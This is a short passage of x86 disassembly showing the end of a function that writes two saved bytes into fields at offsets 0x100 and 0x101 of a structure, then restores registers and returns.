jne 0x41dfca
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret